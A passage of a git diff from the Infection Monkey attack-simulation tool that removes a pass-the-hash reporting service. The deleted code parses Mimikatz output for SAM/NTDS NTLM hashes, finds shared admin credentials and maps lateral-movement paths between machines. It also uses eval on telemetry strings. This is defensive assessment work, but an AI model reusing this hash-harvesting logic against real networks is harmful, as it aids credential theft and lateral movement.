  • - Credentials for the user {issue.username} could be found and the user is an administrator account on more than one machines in the domain. + Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing. Here is a list of machines which has this account defined as an administrator: {this.generateInfoBadges(issue.shared_machines)} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js index 36068f26e..a8f045479 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js @@ -11,7 +11,6 @@ const columns = [ Header: 'Powerful Users', columns: [ { Header: 'Username', accessor: 'username'}, - { Header: 'Domain', accessor: 'domain'}, { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} ] diff --git a/monkey_island/cc/services/group_info.py b/monkey_island/cc/services/group_info.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py deleted file mode 100644 index fe25fd494..000000000 --- a/monkey_island/cc/services/pth_report.py +++ /dev/null @@ -1,259 +0,0 @@ -from cc.services.pth_report_utils import PassTheHashReport, Machine - - -class PTHReportService(object): - - """ - - """ - - def __init__(self): - pass - - @staticmethod - def get_duplicated_password_nodes(pth): - """ - - """ - - usernames_lists = [] - usernames_per_sid_list = [] - dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) - - for secret, count in sorted(dups.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 1: - continue - for sid in pth.GetSidsBySecret(secret): - if sid: - usernames_per_sid_list.append(pth.GetUsernameBySid(sid)) - - usernames_lists.append({'cred_group': usernames_per_sid_list}) - - return usernames_lists - - @staticmethod - def get_shared_local_admins_nodes(pth): - dups = dict(map(lambda x: (x, len(pth.GetSharedAdmins(x))), pth.machines)) - shared_admin_machines = [] - for m, count in sorted(dups.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - shared_admin_account_list = [] - - for sid in pth.GetSharedAdmins(m): - shared_admin_account_list.append(pth.GetUsernameBySid(sid)) - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services_names': m.GetCriticalServicesInstalled(), - 'user_count': count, - 'admins_accounts': shared_admin_account_list - } - - shared_admin_machines.append(machine) - - return shared_admin_machines - - @staticmethod - def get_strong_users_on_crit_services_by_machine(pth): - threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) - strong_users_crit_list = [] - - for m, count in sorted(threatening.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - - threatening_users_attackers_dict = {} - for sid in pth.GetThreateningUsersByVictim(m): - username = pth.GetUsernameBySid(sid) - threatening_users_attackers_dict[username] = [] - for mm in pth.GetAttackersBySid(sid): - if m == mm: - continue - threatening_users_attackers_dict[username] = mm.GetIp() - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services': m.GetCriticalServicesInstalled(), - 'threatening_users': threatening_users_attackers_dict - } - strong_users_crit_list.append(machine) - return strong_users_crit_list - - @staticmethod - def get_strong_users_on_crit_services_by_user(pth): - critical_servers = pth.GetCritialServers() - strong_users_dict = {} - - for server in critical_servers: - users = pth.GetThreateningUsersByVictim(server) - for sid in users: - username = pth.GetUsernameBySid(sid) - if username not in strong_users_dict: - strong_users_dict[username] = { - 'services_names': [], - 'machines': [] - } - strong_users_dict[username]['username'] = username - strong_users_dict[username]['domain'] = server.GetDomainName() - strong_users_dict[username]['services_names'] += server.GetCriticalServicesInstalled() - strong_users_dict[username]['machines'].append(server.GetHostName()) - - return strong_users_dict.values() - - @staticmethod - def get_strong_users_on_non_crit_services(pth): - threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) - - strong_users_non_crit_list = [] - - for m, count in sorted(threatening.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - - threatening_users_attackers_dict = {} - for sid in pth.GetThreateningUsersByVictim(m): - username = pth.GetUsernameBySid(sid) - threatening_users_attackers_dict[username] = [] - for mm in pth.GetAttackersBySid(sid): - if m == mm: - continue - threatening_users_attackers_dict[username] = mm.GetIp() - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services_names': [], - 'user_count': count, - 'threatening_users': threatening_users_attackers_dict - } - strong_users_non_crit_list.append(machine) - return strong_users_non_crit_list - - @staticmethod - def get_duplicated_passwords_issues(pth, password_groups): - issues = [] - previeous_group = [] - for group in password_groups: - username = group['cred_group'][0] - if username in previeous_group: - continue - sid = list(pth.GetSidsByUsername(username.split('\\')[1])) - machine_info = pth.GetSidInfo(sid[0]) - issues.append( - { - 'type': 'shared_passwords', - 'machine': machine_info.get('hostname').split('.')[0], - 'shared_with': group['cred_group'] - } - ) - previeous_group += group['cred_group'] - - return issues - - @staticmethod - def get_shared_local_admins_issues(shared_admins_machines): - issues = [] - for machine in shared_admins_machines: - issues.append( - { - 'type': 'shared_admins', - 'machine': machine.get('hostname'), - 'shared_accounts': machine.get('admins_accounts'), - 'ip': machine.get('ip'), - } - ) - - return issues - - @staticmethod - def strong_users_on_crit_issues(strong_users): - issues = [] - for machine in strong_users: - issues.append( - { - 'type': 'strong_users_on_crit', - 'machine': machine.get('hostname'), - 'services': machine.get('services'), - 'ip': machine.get('ip'), - 'threatening_users': machine.get('threatening_users').keys() - } - ) - - return issues - - @staticmethod - def get_machine_details(node_id): - machine = Machine(node_id) - node = {} - if machine.latest_system_info: - node = { - "id": str(node_id), - "label": '{0} : {1}'.format(machine.GetHostName(), machine.GetIp()), - 'group': 'critical' if machine.IsCriticalServer() else 'normal', - 'users': list(machine.GetCachedUsernames()), - 'ips': [machine.GetIp()], - 'services': machine.GetCriticalServicesInstalled(), - 'hostname': machine.GetHostName() - } - return node - - @staticmethod - def generate_map_nodes(pth): - nodes_list = [] - for node_id in pth.vertices: - node = PTHReportService.get_machine_details(node_id) - nodes_list.append(node) - - return nodes_list - - @staticmethod - def get_issues_list(issues): - issues_dict = {} - - for issue in issues: - machine = issue['machine'] - if machine not in issues_dict: - issues_dict[machine] = [] - issues_dict[machine].append(issue) - - return issues_dict - - @staticmethod - def get_report(): - - issues = [] - pth = PassTheHashReport() - - same_password = PTHReportService.get_duplicated_password_nodes(pth) - local_admin_shared = PTHReportService.get_shared_local_admins_nodes(pth) - strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services_by_user(pth) - strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) - - issues += PTHReportService.get_duplicated_passwords_issues(pth, same_password) - issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) - issues += PTHReportService.strong_users_on_crit_issues( - PTHReportService.get_strong_users_on_crit_services_by_machine(pth)) - - report = \ - { - 'report_info': - { - 'same_password': same_password, - 'local_admin_shared': local_admin_shared, - 'strong_users_on_crit_services': strong_users_on_crit_services, - 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, - 'pth_issues': issues - }, - 'pthmap': - { - 'nodes': PTHReportService.generate_map_nodes(pth), - 'edges': pth.edges - } - } - return report \ No newline at end of file diff --git a/monkey_island/cc/services/pth_report_utils.py b/monkey_island/cc/services/pth_report_utils.py deleted file mode 100644 index 61fe78765..000000000 --- a/monkey_island/cc/services/pth_report_utils.py +++ /dev/null @@ -1,958 +0,0 @@ -import hashlib -import binascii -import copy -import uuid - -from cc.database import mongo -from cc.services.node import NodeService - -DsRole_RoleStandaloneWorkstation = 0 -DsRole_RoleMemberWorkstation = 1 -DsRole_RoleStandaloneServer = 2 -DsRole_RoleMemberServer = 3 -DsRole_RoleBackupDomainController = 4 -DsRole_RolePrimaryDomainController = 5 - -SidTypeUser = 1 -SidTypeGroup = 2 -SidTypeDomain = 3 -SidTypeAlias = 4 -SidTypeWellKnownGroup = 5 -SidTypeDeletedAccount = 6 -SidTypeInvalid = 7 -SidTypeUnknown = 8 -SidTypeComputer = 9 - - -def is_group_sid_type(type): - return type in (SidTypeGroup, SidTypeAlias, SidTypeWellKnownGroup) - - -def myntlm(x): - hash = hashlib.new('md4', x.encode('utf-16le')).digest() - return str(binascii.hexlify(hash)) - - -def cache(foo): - def hash(o): - if type(o) in (int, float, str, unicode): - return repr(o) - - elif type(o) in (type(None),): - return "___None___" - - elif type(o) in (list, tuple, set): - hashed = tuple([hash(x) for x in o]) - - if "NotHashable" in hashed: - return "NotHashable" - - return hashed - - elif type(o) == dict: - hashed_keys = tuple([hash(k) for k, v in o.iteritems()]) - hashed_vals = tuple([hash(v) for k, v in o.iteritems()]) - - if "NotHashable" in hashed_keys or "NotHashable" in hashed_vals: - return "NotHashable" - - return tuple(zip(hashed_keys, hashed_vals)) - - elif type(o) == Machine: - return o.monkey_guid - - # elif type(o) == PthMap: - # return "PthMapSingleton" - - elif type(o) == PassTheHashReport: - return "PassTheHashReportSingleton" - - else: - assert False, "%s of type %s is not hashable" % (repr(o), type(o)) - return "NotHashable" - - def wrapper(*args, **kwargs): - hashed = (hash(args), hash(kwargs)) - - if "NotHashable" in hashed: - return foo(*args, **kwargs) - - if not hasattr(foo, "_mycache_"): - foo._mycache_ = dict() - - if hashed not in foo._mycache_.keys(): - foo._mycache_[hashed] = foo(*args, **kwargs) - - return copy.deepcopy(foo._mycache_[hashed]) - - return wrapper - - -class Machine(object): - def __init__(self, monkey_guid): - self.monkey_guid = str(monkey_guid) - - self.latest_system_info = mongo.db.telemetry.find( - {"telem_type": "system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", -1)]).limit( - 1) - - if self.latest_system_info.count() > 0: - self.latest_system_info = self.latest_system_info[0] - else: - self.latest_system_info = None - - self.monkey_info = NodeService.get_monkey_by_guid(self.monkey_guid) - - def __eq__(self, other): - if isinstance(other, self.__class__): - return self.monkey_guid == other.monkey_guid - else: - return False - - @cache - def GetMimikatzOutput(self): - doc = self.latest_system_info - - if not doc: - return None - - return doc.get("data").get("mimikatz") - - @cache - def GetHostName(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return eval(comp.get("Name")) - - return None - - @cache - def GetIp(self): - doc = self.latest_system_info - - for addr in doc.get("data").get("network_info", {}).get("networks", {}): - return str(addr["addr"]) - - return None - - @cache - def get_monkey_id(self): - doc = self.monkey_info - - return str(doc.get('_id')) - - @cache - def GetDomainName(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return eval(comp.get("Domain")) - - return None - - @cache - def GetDomainRole(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return comp.get("DomainRole") - - return None - - @cache - def IsDomainController(self): - return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) - - #@cache - def GetSidByUsername(self, username, domain=None): - doc = self.latest_system_info - - for user in doc.get("data").get("Win32_UserAccount", {}): - if eval(user.get("Name")) != username: - continue - - if user.get("SIDType") != SidTypeUser: - continue - - if domain and user.get("Domain") != domain: - continue - - return eval(user.get("SID")) - - if not self.IsDomainController(): - for dc in self.GetDomainControllers(): - sid = dc.GetSidByUsername(username) - - if sid != None: - return sid - - return None - - @cache - def GetUsernameBySid(self, sid): - info = self.GetSidInfo(sid) - - if not info: - return None - - return str(info.get("Domain")) + "\\" + str(info.get("Username")) - - @cache - def GetSidInfo(self, sid): - doc = self.latest_system_info - - for user in doc.get("data").get("Win32_UserAccount",{}): - if eval(user.get("SID")) != sid: - continue - - if user.get("SIDType") != SidTypeUser: - continue - - return {"Domain": eval(user.get("Domain")), - "Username": eval(user.get("Name")), - "Disabled": user.get("Disabled") == "true", - "PasswordRequired": user.get("PasswordRequired") == "true", - "PasswordExpires": user.get("PasswordExpires") == "true", - 'hostname': doc.get('data').get('hostname'), } - - if not self.IsDomainController(): - for dc in self.GetDomainControllers(): - domain = dc.GetSidInfo(sid) - - if domain != None: - return domain - - return None - - @cache - def GetCriticalServicesInstalled(self): - def IsNameOfCriticalService(name): - services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS') - services = map(str.lower, services) - - if not name: - return False - - name = name.lower() - - return name in services - # for ser in services: - # if ser in name: - # return True - - return False - - doc = self.latest_system_info - found = [] - - if self.IsDomainController(): - found.append("Domain Controller") - - for product in doc.get("data").get("Win32_Product", {}): - service_name = eval(product.get("Name")) - - if not IsNameOfCriticalService(service_name): - continue - - found.append(service_name) - - for service in doc.get("data").get("Win32_Service", {}): - service_name = eval(service.get("Name")) - - if not IsNameOfCriticalService(service_name): - continue - - if eval(service.get("State")) != "Running": - continue - - found.append(service_name) - - return found - - @cache - def IsCriticalServer(self): - return len(self.GetCriticalServicesInstalled()) > 0 - - @cache - def GetUsernamesBySecret(self, secret): - sam = self.GetLocalSecrets() - - names = set() - - for username, user_secret in sam.iteritems(): - if secret == user_secret: - names.add(username) - - return names - - @cache - def GetSidsBySecret(self, secret): - usernames = self.GetUsernamesBySecret(secret) - return set(map(self.GetSidByUsername, usernames)) - - def GetGroupSidByGroupName(self, group_name): - doc = self.latest_system_info - - for group in doc.get('data').get("Win32_Group", {}): - if eval(group.get("Name")) != group_name: - continue - - if not is_group_sid_type(group.get("SIDType")): - continue - - return eval(group.get("SID")) - - return None - - def GetUsersByGroupSid(self, sid): - doc = self.latest_system_info - - users = dict() - - for group_user in doc.get('data').get("Win32_GroupUser", {}): - if eval(group_user.get("GroupComponent", {}).get("SID")) != sid: - continue - - if not is_group_sid_type(group_user.get("GroupComponent", {}).get("SIDType")): - continue - - if "PartComponent" not in group_user.keys(): - continue - - if type(group_user.get("PartComponent")) in (str, unicode): - # PartComponent is an id to Win32_UserAccount table - - wmi_id = group_user.get("PartComponent") - - if "cimv2:Win32_UserAccount" not in wmi_id: - continue - - username = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] - domain = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-1] - - sid = self.GetSidByUsername(username, domain) - users[sid] = username - - else: - if group_user.get("PartComponent", {}).get("SIDType") != SidTypeUser: - continue - - users[eval(group_user.get("PartComponent", {}).get("SID"))] = eval(group_user.get("PartComponent") - .get("Name")) - - return users - - @cache - def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): - cur = mongo.db.telemetry.find( - {"telem_type": "system_info_collection", "data.Win32_ComputerSystem.Domain": "u'%s'" % (domain_name,)}) - - GUIDs = set() - - for doc in cur: - if not Machine(doc.get("monkey_guid")).IsDomainController(): - continue - - GUIDs.add(doc.get("monkey_guid")) - - return GUIDs - - def GetLocalAdmins(self): - admins = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) - - # debug = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Users")) - # admins.update(debug) - - return admins - - def GetLocalAdminSids(self): - return set(self.GetLocalAdmins().keys()) - - @cache - def GetLocalSids(self): - doc = self.latest_system_info - - SIDs = set() - - for user in doc.get('data').get("Win32_UserAccount", {}): - if user.get("SIDType") != SidTypeUser: - continue - - SIDs.add(eval(user.get("SID"))) - - return SIDs - - @cache - def GetLocalAdminNames(self): - return set(self.GetLocalAdmins().values()) - - @cache - def GetSam(self): - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - if mimikatz.count("\n42.") != 2: - return {} - - try: - sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - - sam = {} - - for sam_user_txt in sam_users: - sam_user = dict([map(unicode.strip, line.split(":")) for line in - filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - - ntlm = sam_user.get("NTLM") - if "[hashed secret]" not in ntlm: - continue - - sam[sam_user.get("User")] = ntlm.replace("[hashed secret]", "").strip() - - return sam - - except: - return {} - - @cache - def GetNtds(self): - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - if mimikatz.count("\n42.") != 2: - return {} - - ntds_users = mimikatz.split("\n42.")[2].split("\nRID :")[1:] - ntds = {} - - for ntds_user_txt in ntds_users: - user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() - ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() - ntlm = ntlm.replace("[hashed secret]", "").strip() - - if ntlm: - ntds[user] = ntlm - - return ntds - - @cache - def GetLocalSecrets(self): - sam = self.GetSam() - ntds = self.GetNtds() - - secrets = sam.copy() - secrets.update(ntds) - - return secrets - - @cache - def GetLocalAdminSecrets(self): - return set(self.GetLocalAdminCreds().values()) - - @cache - def GetLocalAdminCreds(self): - admin_names = self.GetLocalAdminNames() - sam = self.GetLocalSecrets() - - admin_creds = dict() - - for username, secret in sam.iteritems(): - if username not in admin_names: - continue - - admin_creds[username] = secret - - return admin_creds - - @cache - def GetCachedSecrets(self): - return set(self.GetCachedCreds().values()) - - @cache - def GetCachedCreds(self): - doc = self.latest_system_info - - creds = dict() - - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - for user in mimikatz.split("\n42.")[0].split("Authentication Id")[1:]: - username = None - secret = None - - for line in user.splitlines(): - if "User Name" in line: - username = line.split(":")[1].strip() - - if ("NTLM" in line or "Password" in line) and "[hashed secret]" in line: - secret = line.split(":")[1].replace("[hashed secret]", "").strip() - - if username and secret: - creds[username] = secret - - return creds - - @cache - def GetDomainControllers(self): - domain_name = self.GetDomainName() - DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) - return map(Machine, DCs) - - def GetDomainAdminsOfMachine(self): - DCs = self.GetDomainControllers() - - domain_admins = set() - - for dc in DCs: - domain_admins |= set(dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")).keys()) - - return domain_admins - - #@cache - def GetAdmins(self): - return self.GetLocalAdminSids() # | self.GetDomainAdminsOfMachine() - - @cache - def GetAdminNames(self): - return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) - - #@cache - def GetCachedSids(self): - doc = self.latest_system_info - - SIDs = set() - - for username in doc.get('data').get("credentials", {}): - sid = self.GetSidByUsername(username) - - if not sid: - sid = "__USERNAME__" + username - - SIDs.add(sid) - - return SIDs - - @cache - def GetCachedUsernames(self): - doc = self.latest_system_info - - names = set() - - for username in doc.get('data').get("credentials", {}): - names.add(username) - - return names - - -class PassTheHashReport(object): - - def __init__(self): - self.vertices = self.GetAllMachines() - - self.machines = map(Machine, self.vertices) - self.edges = self.get_edges_by_sid() # Useful for non-cached domain users - #self.edges |= self.GetEdgesBySamHash() # This will add edges based only on password hash without caring about username - - - def GetAllMachines(self): - cur = mongo.db.telemetry.find({"telem_type": "system_info_collection"}) - - GUIDs = set() - - for doc in cur: - GUIDs.add(doc.get("monkey_guid")) - - return GUIDs - - @cache - def ReprSidList(self, sid_list, victim): - users_list = [] - - for sid in sid_list: - username = Machine(victim).GetUsernameBySid(sid) - - if username: - users_list.append(username) - - return users_list - - @cache - def ReprSecretList(self, secret_list, victim): - relevant_users_list = [] - - for secret in secret_list: - relevant_users_list.append(Machine(victim).GetUsernamesBySecret(secret)) - - return relevant_users_list - - @staticmethod - def __get_edge_label(attacker, victim): - attacker_monkey = NodeService.get_monkey_by_guid(attacker) - victim_monkey = NodeService.get_monkey_by_guid(victim) - - attacker_label = NodeService.get_monkey_label(attacker_monkey) - victim_label = NodeService.get_monkey_label(victim_monkey) - - RIGHT_ARROW = u"\u2192" - return "%s %s %s" % (attacker_label, RIGHT_ARROW, victim_label) - - def get_edges_by_sid(self): - edges_list = [] - - for attacker in self.vertices: - cached = list(self.GetCachedSids(Machine(attacker))) - - for victim in self.vertices: - if attacker == victim: - continue - - admins = list(Machine(victim).GetAdmins()) - - cached_admins = [i for i in cached if i in admins] - - if cached_admins: - relevant_users_list = self.ReprSidList(cached_admins, victim) - edges_list.append( - { - 'from': attacker, - 'to': victim, - 'users': relevant_users_list, - '_label': PassTheHashReport.__get_edge_label(attacker, victim), - 'id': str(uuid.uuid4()) - }) - - return edges_list - - @cache - def GetEdgesBySamHash(self): - edges = set() - - for attacker in self.vertices: - cached_creds = set(Machine(attacker).GetCachedCreds().items()) - - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) - edges.add((attacker, victim, label)) - - return edges - - @cache - def GetEdgesByUsername(self): - edges = set() - - for attacker in self.vertices: - cached = Machine(attacker).GetCachedUsernames() - - for victim in self.vertices: - if attacker == victim: - continue - - admins = Machine(victim).GetAdminNames() - - if len(cached & admins) > 0: - edges.add((attacker, victim)) - - return edges - - @cache - def GetPossibleAttackCountBySid(self, sid): - return len(self.GetPossibleAttacksBySid(sid)) - - @cache - def GetPossibleAttacksByAttacker(self, attacker): - attacks = set() - - cached_creds = set(Machine(attacker).GetCachedCreds().items()) - - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - curr_attacks = dict(cached_creds & admin_creds) - attacks.add((attacker, victim, curr_attacks)) - - return attacks - - @cache - def GetPossibleAttacksBySid(self, sid): - attacks = set() - - for attacker in self.vertices: - tmp = self.GetPossibleAttacksByAttacker(attacker) - - for _, victim, curr_attacks in tmp: - for username, secret in curr_attacks.iteritems(): - if Machine(victim).GetSidByUsername(username) == sid: - attacks.add((attacker, victim)) - - return attacks - - @cache - def GetSecretBySid(self, sid): - for m in self.machines: - for user, user_secret in m.GetLocalSecrets().iteritems(): - if m.GetSidByUsername(user) == sid: - return user_secret - - return None - - @cache - def GetVictimCountBySid(self, sid): - return len(self.GetVictimsBySid(sid)) - - @cache - def GetVictimCountByMachine(self, attacker): - return len(self.GetVictimsByAttacker(attacker)) - - @cache - def GetAttackCountBySecret(self, secret): - return len(self.GetAttackersBySecret(secret)) - - @cache - def GetAllUsernames(self): - names = set() - - for sid in self.GetAllSids(): - names.add(self.GetUsernameBySid(sid)) - - return names - - @cache - def GetAllSids(self): - SIDs = set() - - for m in self.machines: - SIDs |= m.GetLocalSids() - - return SIDs - - @cache - def GetAllSecrets(self): - secrets = set() - - for m in self.machines: - for secret in m.GetLocalAdminSecrets(): - secrets.add(secret) - - return secrets - - @cache - def GetUsernameBySid(self, sid): - for m in self.machines: - username = m.GetUsernameBySid(sid) - - if username: - return username - - return None - - @cache - def GetSidInfo(self, sid): - for m in self.machines: - info = m.GetSidInfo(sid) - - if info: - return info - - return None - - @cache - def GetSidsBySecret(self, secret): - SIDs = set() - - for m in self.machines: - SIDs |= m.GetSidsBySecret(secret) - - return SIDs - - @cache - def GetAllDomainControllers(self): - DCs = set() - - for m in self.machines: - if m.IsDomainController(): - DCs.add(m) - - return DCs - - @cache - def GetSidsByUsername(self, username): - SIDs = set() - - for m in self.machines: - sid = m.GetSidByUsername(username) - if sid: - SIDs.add(sid) - - return SIDs - - @cache - def GetVictimsBySid(self, sid): - machines = set() - - for m in self.machines: - if sid in m.GetAdmins(): - machines.add(m) - - return machines - - @cache - def GetVictimsBySecret(self, secret): - machines = set() - - SIDs = self.GetSidsBySecret(secret) - - for m in self.machines: - if len(SIDs & m.GetAdmins()) > 0: - machines.add(m) - - return machines - - @cache - def GetAttackersBySecret(self, secret): - machines = set() - - for m in self.machines: - if secret in m.GetCachedSecrets(): - machines.add(m) - - return machines - - @cache - def GetAttackersByVictim(self, victim): - if type(victim) != unicode: - victim = victim.monkey_guid - - attackers = set() - - for edge in self.edges: - if edge.get('to', None) == victim: - attackers.add(edge.get('from', None)) - - return set(map(Machine, attackers)) - - @cache - def GetAttackersBySid(self, sid): - machines = set() - - for m in self.machines: - if sid in self.GetCachedSids(m): - machines.add(m) - - return machines - - @cache - def GetVictimsByAttacker(self, attacker): - if type(attacker) != unicode: - attacker = attacker.monkey_guid - - victims = set() - - for atck, vic, _ in self.edges: - if atck == attacker: - victims.add(vic) - - return set(map(Machine, victims)) - - @cache - def GetInPathCountByVictim(self, victim, already_processed=None): - if type(victim) != unicode: - victim = victim.monkey_guid - - if not already_processed: - already_processed = set([victim]) - - count = 0 - - for atck, vic, _ in self.edges: - if atck == vic: - continue - - if vic != victim: - continue - - if atck in already_processed: - continue - - count += 1 - - already_processed.add(atck) - count += self.GetInPathCountByVictim(atck, already_processed) - - return count - - @cache - def GetCritialServers(self): - machines = set() - - for m in self.machines: - if m.IsCriticalServer(): - machines.add(m) - - return machines - - @cache - def GetNonCritialServers(self): - return set(self.machines) - self.GetCritialServers() - - #@cache - def GetCachedSids(self, m): - sids = set() - tmp = m.GetCachedSids() - - for sid in tmp: - if sid.startswith("__USERNAME__"): - - s = self.GetSidsByUsername(sid[len("__USERNAME__"):]) - if len(s) == 1: - sids.add(s.pop()) - else: - sids.add(sid) - - else: - sids.add(sid) - - return sids - - @cache - def GetThreateningUsersByVictim(self, victim): - threatening_users = set() - - for attacker in self.GetAttackersByVictim(victim): - # For each attacker, get the cached users and check which of them is an admin on the victim - threatening_users |= (self.GetCachedSids(attacker) & victim.GetAdmins()) - - return threatening_users - - def GetSharedAdmins(self, m): - shared_admins = [] - - for other in self.machines: - if m == other: - continue - for sid in m.GetLocalAdminSids(): - if sid in other.GetLocalAdminSids(): - shared_admins.append(sid) - - #shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) - - shared_admins = [admin for admin in shared_admins if admin not in list(m.GetDomainAdminsOfMachine())] - - return shared_admins diff --git a/monkey_island/cc/services/user_info.py b/monkey_island/cc/services/user_info.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js deleted file mode 100644 index e06043c20..000000000 --- a/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js +++ /dev/null @@ -1,247 +0,0 @@ -import React from 'react'; -import {Icon} from 'react-fa'; -import Toggle from 'react-toggle'; -import {OverlayTrigger, Tooltip} from 'react-bootstrap'; -import download from 'downloadjs' -import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; - -class InfMapPreviewPaneComponent extends PreviewPaneComponent { - - osRow(asset) { - return ( - - Operating System - {asset.os.charAt(0).toUpperCase() + asset.os.slice(1)} - - ); - } - - ipsRow(asset) { - return ( - - IP Addresses - {asset.ip_addresses.map(val =>
    {val}
    )} - - ); - } - - servicesRow(asset) { - return ( - - Services - {asset.services.map(val =>
    {val}
    )} - - ); - } - - accessibleRow(asset) { - return ( - - - Accessible From  - {this.generateToolTip('List of machine which can access this one using a network protocol')} - - {asset.accessible_from_nodes.map(val =>
    {val}
    )} - - ); - } - - statusRow(asset) { - return ( - - Status - {(asset.dead) ? 'Dead' : 'Alive'} - - ); - } - - forceKill(event, asset) { - let newConfig = asset.config; - newConfig['alive'] = !event.target.checked; - this.authFetch('/api/monkey/' + asset.guid, - { - method: 'PATCH', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({config: newConfig}) - }); - } - - forceKillRow(asset) { - return ( - - - Force Kill  - {this.generateToolTip('If this is on, monkey will die next time it communicates')} - - - this.forceKill(e, asset)}/> - - - - ); - } - - unescapeLog(st) { - return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. - .replace(/\\n/g, "\n") - .replace(/\\r/g, "\r") - .replace(/\\t/g, "\t") - .replace(/\\b/g, "\b") - .replace(/\\f/g, "\f") - .replace(/\\"/g, '\"') - .replace(/\\'/g, "\'") - .replace(/\\&/g, "\&"); - } - - downloadLog(asset) { - this.authFetch('/api/log?id=' + asset.id) - .then(res => res.json()) - .then(res => { - let timestamp = res['timestamp']; - timestamp = timestamp.substr(0, timestamp.indexOf('.')); - let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log'; - let logContent = this.unescapeLog(res['log']); - download(logContent, filename, 'text/plain'); - }); - - } - - downloadLogRow(asset) { - return ( - - - Download Log - - - this.downloadLog(asset)}>Download - - - ); - } - - exploitsTimeline(asset) { - if (asset.exploits.length === 0) { - return (
    ); - } - - return ( -
    -

    - Exploit Timeline  - {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} -

    -
      - {asset.exploits.map(exploit => -
    • -
      -
      {new Date(exploit.timestamp).toLocaleString()}
      -
      {exploit.origin}
      -
      {exploit.exploiter}
      -
    • - )} -
    -
    - ) - } - - assetInfo(asset) { - return ( -
    - - - {this.osRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - -
    - {this.exploitsTimeline(asset)} -
    - ); - } - - infectedAssetInfo(asset) { - return ( -
    - - - {this.osRow(asset)} - {this.statusRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - {this.forceKillRow(asset)} - {this.downloadLogRow(asset)} - -
    - {this.exploitsTimeline(asset)} -
    - ); - } - - scanInfo(edge) { - return ( -
    - - - - - - - - - - - - - - - -
    Operating System{edge.os.type}
    IP Address{edge.ip_address}
    Services{edge.services.map(val =>
    {val}
    )}
    - { - (edge.exploits.length === 0) ? - '' : -
    -

    Timeline

    -
      - {edge.exploits.map(exploit => -
    • -
      -
      {new Date(exploit.timestamp).toLocaleString()}
      -
      {exploit.origin}
      -
      {exploit.exploiter}
      -
    • - )} -
    -
    - } -
    - ); - } - - islandEdgeInfo() { - return ( -
    -
